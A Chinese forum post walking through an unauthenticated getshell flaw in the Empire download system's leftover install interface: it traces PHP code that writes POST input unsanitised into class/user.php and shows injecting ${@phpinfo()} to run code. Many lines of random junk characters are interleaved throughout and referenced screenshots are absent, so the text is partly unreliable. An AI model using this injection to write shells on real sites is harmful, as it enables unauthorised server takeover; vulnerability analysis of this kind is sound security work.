这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
+ n) s' k' A& O- e
( u4 j6 j% @+ m% w! O; `+ N) P: z3 z9 q1 v- T' a+ }
这是帝国的一套下载系统 如图7 c( p, n' t" ~% `6 h
ps(不需要任何账户和密码,直接写shell)
- K, @" b9 H! y* w z由于很多站是由于下载要整合discuz 等等一些论坛....
7 I! V9 G$ ]: [8 g* Q
- [3 B' |% z3 G& ~. p# Y而帝国他又有一个万能接口,如图
3 U+ G X v, U6 l; e7 u: l5 B7 p- a. `$ t1 n% i' X2 d
$ a& k* Z$ b; F# }- E' j
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
9 `& }4 A6 w0 Z# S7 y; i
- R# Q: M$ p! o. ?当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
. x/ B# Y& ^3 _8 J9 }
+ x8 u1 q5 a* N; q$ w在data/fun.php中的15行
7 f/ [9 P! X( f* r
% Q- s: r' h8 U; C5 _我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
9 Y% y# E9 a0 b4 ^( u, B1 c6 b1 Q17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
: S o7 q2 l. W& i9 M% a* q; v# D" O! g" G# k% G/ H( D
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
; O$ K. ?4 }+ \* f5 {$ Z$ x) _ m. N( G0 d$ g+ G( [' E
他将传进来的变量进行了切割,然后赋给了$filetext$ n* }. Y" W0 e0 i0 D9 p8 z2 M
Q" y0 z( v# H7 f9 \
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
! P2 `# T$ }; d, l4 t$ N. H. d; l2 ~. E
我们看看写入的结果,随便填一个
0 S6 `. v& E9 ?5 y2 c0 g
) j8 X; U9 ~9 n
- a6 q: a: W" s: k* c' |6 S% g) |3 Y' Y" Y3 N# ^9 m! R: M
( C y2 O5 }% _3 a& ^ |
) F* m9 l7 ^' l' Z O0 x
# Z2 M4 A: D V1 O5 X- a9 W& ^3 M, S( }1 i% t/ o; Q7 W
4 O( q2 q( X# ~/ M1 A& Q
: @! K- c3 O& o* A' w
+ m0 p/ B3 r' f' m! s( Y
) m7 r; T6 P: |: V) I2 d" k
/ L3 @) l& M5 i) N5 s' F
8 ?/ U$ E) j2 h5 O- O3 C1 _6 z* R/ w* B- O
# ~ e Z4 g5 J9 j( V, `( ^% K$ {, w
' d+ O8 y1 ]4 H, R# l1 k0 E* j7 p- A7 {
N# t" ~# {5 U! \3 }# a4 o7 j
8 x9 i6 F5 Q: }3 ^
7 k/ Q9 x5 B8 i8 ` m8 @ h% u! H6 b' p- s
所以我们淫荡点,写个${@phpinfo()}试试 9 W" s* G8 } F1 J4 C# l+ c
然后访问以下class/user.php这个文件
3 L4 d. m# v* s- Q# t" |" V日了吧
* r3 X; X& h; o5 i6 I0 S% ?
- O- Q3 X. t+ _7 y: Y/ V2 n8 T0 c0 Y$ S
% C6 [- M$ j$ ^. C/ E; ?( F( i, f
( D( t6 l; T3 L4 R/ A8 Z) L$ t2 I: u7 ]' M% V
|